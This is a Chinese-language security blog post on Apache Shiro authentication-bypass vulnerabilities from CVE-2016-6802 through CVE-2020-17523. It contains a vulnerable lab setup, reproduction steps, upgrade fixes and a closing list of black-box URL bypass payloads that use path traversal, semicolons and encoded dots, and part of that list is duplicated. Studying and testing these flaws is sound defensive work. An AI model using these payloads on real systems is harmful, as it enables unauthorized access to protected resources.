【java安全】shiro鉴权绕过

【Java安全】shiro权限绕过

漏洞信息总览表

漏洞编号 漏洞条件(版本+环境) 核心原理 修复方案
CVE-2016-6802 Shiro < 1.3.2;Web应用上下文路径非根目录(如配置server.servlet.context-path 未对ContextPath做路径标准化,通过/任意目录名/../构造畸形路径篡改RequestURI 升级至Shiro 1.3.2及以上
CVE-2020-1957 Shiro < 1.5.2;与Spring框架结合使用 利用Shiro与Spring对URL处理的差异化(分号等特殊字符解析差异) 升级至Shiro 1.5.2及以上
CVE-2020-11989 Shiro < 1.5.3;Web应用上下文路径非根目录;后端Web容器(如Tomcat)存在解析差异 通过双重URL编码或分号路径构造,利用Shiro与Web容器的URI解析差异 升级至Shiro 1.5.3及以上
CVE-2020-13933 Shiro < 1.6.0;权限配置为/path/*;后端接口为/path/{vule}vule为String类型 通过/xxx/;/admin特制URL绕过认证 升级至Shiro 1.6.0及以上
CVE-2020-17510 Shiro <= 1.7.0;SpringBoot >= 2.4.0;权限配置为/path/*;后端接口为/path/{vule}vule为String类型 通过/xxx/%2e/admin等编码变形URL绕过 升级至Shiro 1.7.1及以上
CVE-2020-17523 Shiro <= 1.7.0;权限配置为/path/*;后端接口为/path/{vule}vule为String类型 通过/xxx/..;/admin混合路径请求绕过 升级至Shiro 1.7.1及以上

CVE-2016-6802

0x00 漏洞详情

Apache Shiro 1.3.2 之前版本因未对 ContextPath 做路径标准化处理,攻击者可构造含/任意目录名/../的畸形路径,篡改 ContextPath 生成错误的 RequestURI,绕过 Servlet 过滤器的权限校验实现未授权访问。

0x00 漏洞影响

  • 版本范围:Shiro < 1.3.2
  • 环境条件:Web 应用需配置非根目录的上下文路径(如server.servlet.context-path=/h5),若为根目录则不存在此漏洞。

0x02 漏洞复现

在pom.xml中导入shiro组件,并且将版本指定为低于1.3.2版本

xml 复制代码
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-web</artifactId>
    <version>1.3.1</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.3.1</version>
</dependency>

继承AuthorizingRealm类,实现自定义的身份认证和权限授权逻辑

java 复制代码
public class MyRealm extends AuthorizingRealm {
    // 权限授权方法:用户访问需要权限/角色控制的接口时
    // Shiro 自动调用该方法,用于校验当前登录用户的角色/权限
    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }
	// 身份认证方法:用于校验用户账号密码是否正确(登录核心逻辑)
    // 用户调用 Subject.login() 登录时,Shiro 自动调用该方法
    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
        String username = (String) token.getPrincipal();
        if (!"javaboy".equals(username)) {
            throw new UnknownAccountException("账户不存在!");
        }
        return new SimpleAuthenticationInfo(username, "123", getName());
    }
}

修改application.properties配置文件添加Web 应用上下文路径

(这一步很重要,若是根目录则不存在此漏洞)

properties 复制代码
server.servlet.context-path=/h5

创建controller类

java 复制代码
@RestController
public class LoginController {
    @PostMapping("/doLogin")
    public void doLogin(String username, String password) {
        Subject subject = SecurityUtils.getSubject();
        try {
            subject.login(new UsernamePasswordToken(username, password));
            System.out.println("登录成功!");
        } catch (AuthenticationException e) {
            e.printStackTrace();
            System.out.println("登录失败!");
        }
    }
    @GetMapping("/hello/**")
    public String hello() {
        return "hello";
    }
    @GetMapping("/login")
    public String  login() {
        return "please login!";
    }
}

配置shiro

java 复制代码
@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }

    @Bean
    SecurityManager securityManager() {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }

    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        //指定 SecurityManager
        bean.setSecurityManager(securityManager());
        //登录页面
        bean.setLoginUrl("/login");
        //登录成功页面
        bean.setSuccessUrl("/index");
        //访问未获授权路径时跳转的页面
        bean.setUnauthorizedUrl("/unauthorizedurl");
        //配置路径拦截规则,注意,要有序
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/doLogin/*", "anon");
        map.put("/hello/*", "authc");
        map.put("/**", "anon");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }
}

一定要有开放匿名访问的路径,比如/aaa/*

启动web,正常访问/hello路径

构造路径穿越访问该需要鉴权的路径

成功访问,这是利用了全局路径都可匿名访问的代码

java 复制代码
map.put("/**", "anon");

当然可以利用任何/aa/*这样路径匿名可访问的代码,注释掉map.put("/**", "anon");

利用

java 复制代码
map.put("/doLogin/*", "anon");

0x03 漏洞修复

升级 Shiro 至 1.3.2及以上版本

CVE-2020-1957

0x00 漏洞详情

在Apache Shiro (<1.5.2) 与Spring框架结合使用时,攻击者可通过在请求URL中精心插入分号(;)等特殊字符,利用两个框架对URL处理的差异化,绕过Shiro的身份验证拦截器,直接访问受保护的资源

0x01 漏洞影响

shiro < 1.5.2

  • 版本范围:Shiro < 1.5.2
  • 环境条件:需与 Spring 框架结合使用(核心为 Shiro 与 Spring 的 URL 解析逻辑差异)。

0x02 漏洞复现

指定shiro版本为1.5.2以下

shiro配置文件如下:

Web 应用上下文路径配置如下(可配置为根路径)

正常访问/h5/hello/1

利用doLogin这个可匿名访问的路径加上/...;绕过

当然也可利用map.put("/api/**", "anon");多次穿越路径绕过

还可以利用map.put("/**", "anon"); 直接只需要添加;即可绕过

0x03 漏洞修复

升级 Shiro 至 1.5.2及以上版本

CVE-2020-11989

0x00 漏洞详情

在Apache Shiro (<1.5.3)中,攻击者通过双重URL编码 或特定的分号路径构造,利用Shiro与后端Web容器(如Tomcat)对请求URI的解析差异,绕过身份认证。

0x01 漏洞影响

  • 版本范围:Shiro < 1.5.3
  • 环境条件:
    • Web 应用上下文路径非根目录(如/h5);
    • 后端使用 Tomcat 等 Web 容器(存在 URI 解析差异)。

0x02 漏洞复现

Web 应用上下文路径配置如下(不可配置为根路径)

shiro配置文件如下

访问/h5/hello/1路径

使用/;/添加在根目录绕过

这里还有一个绕过方式,条件是需要鉴权的路径要写为/path/*而不能是/path/**并且对应的controller必须写为@xxxMapping("/path/{num}")

修改配置文件如下

复制代码
map.put("/api/*", "authc");

控制器修改

访问/h5/api/1

使用双重编码/后的%25%32%66访问/h5/api/,其中payload前后必须夹杂字符串才能成功

0x03 漏洞修复

升级 Shiro 至 1.5.3及以上版本

CVE-2020-13933

0x00 漏洞详情

CVE-2020-13933 是 Apache Shiro 1.6.0 以下版本的权限绕过漏洞,攻击者可通过/xxx/;/admin类特制 URL 请求绕过认证

0x01 漏洞影响

  • 版本范围:Shiro < 1.6.0
  • 环境条件:
    • 权限配置为/path/*
    • 后端接口为/path/{vule}vule类型为 String。

0x02 漏洞复现

WEB应用上下文配置如下(根路径即可)

shiro权限控制配置如下

controller配置如下

尝试访问/api/11

使用payload绕过,在/api/后面添加;或%3b

0x03 漏洞修复

升级 Shiro 至 1.6.0及以上版本

CVE-2020-17510/CVE-2020-17523

0x00 漏洞详情

  • CVE-2020-17510:通过/xxx/%2e/admin等编码变形 URL 绕过认证;
  • CVE-2020-17523:通过/xxx/..;/admin混合路径请求绕过认证。

0x01 漏洞影响

  • 版本范围:Shiro <= 1.7.0
  • 环境条件(CVE-2020-17510 额外要求):SpringBoot >= 2.4.0;
  • 通用条件:权限配置为/path/*,后端接口为/path/{vule}vule为 String 类型。

0x02 漏洞复现

WEB应用上下文配置如下(根路径即可)

修改springboot版本

配置shiro权限控制

配置对应controller代码

访问/api/a

将a修改为payload:.、...、%2e、%2e%2e、%20

0x03 漏洞修复

升级 Shiro 至 1.7.1及以上版本

黑盒测试中Shiro权限绕过认证的尝试方法

  1. 路径穿越类 (适配CVE-2016-6802、CVE-2020-11989)
    • 基础payload:/上下文路径/匿名路径/../受保护路径(例/h5/doLogin/../hello
    • 双重编码payload:/h5/api/a%252E%252E%252Fadmin
  2. 特殊字符注入类 (适配CVE-2020-1957、CVE-2020-13933)
    • 分号注入:/h5/hello;/h5/doLogin/..;hello
    • 编码变形:/h5/api/%3Badmin/h5/api/%2E/../admin
  3. 权限配置类 (适配CVE-2020-13933、CVE-2020-17510/17523)
    • /path/*配置payload:/api/;/admin/api/%2E/admin
    • SpringBoot专属payload:/api/./api/..(仅SpringBoot≥2.4.0生效)

/h5/doLogin/../hello

  • 双重编码payload:/h5/api/a%252E%252E%252Fadmin
  1. 特殊字符注入类 (适配CVE-2020-1957、CVE-2020-13933)
    • 分号注入:/h5/hello;/h5/doLogin/..;hello
    • 编码变形:/h5/api/%3Badmin/h5/api/%2E/../admin
  2. 权限配置类 (适配CVE-2020-13933、CVE-2020-17510/17523)
    • /path/*配置payload:/api/;/admin/api/%2E/admin
    • SpringBoot专属payload:/api/./api/..(仅SpringBoot≥2.4.0生效)
相关推荐
与遨游于天地2 小时前
Spring 的10个核心能力,对框架开发的启示
java·后端·spring
白昼流星!2 小时前
C++内存四区与new操作符详解
开发语言·c++
tyatyatya2 小时前
MATLAB三维绘图教程:plot3/mesh/surf/contour函数详解与实例
开发语言·matlab
十五年专注C++开发2 小时前
标准C++操作文件方法总结
开发语言·c++·文件操作·ifstream
独自归家的兔2 小时前
通义千问3-VL-Plus - 界面交互(本地图片改进)
java·人工智能·交互
浔川python社2 小时前
《C++ 小程序编写系列》(第四部):实战:简易图书管理系统(类与对象篇)
java·开发语言·apache
浔川python社2 小时前
《C++ 小程序编写系列》(第五部):实战:多角色图书管理系统(继承与多态篇)
开发语言·c++
Dobby_052 小时前
【k8s】集群安全机制(二):鉴权
运维·安全·kubernetes
楠枬2 小时前
OpenFeign
java·spring cloud·微服务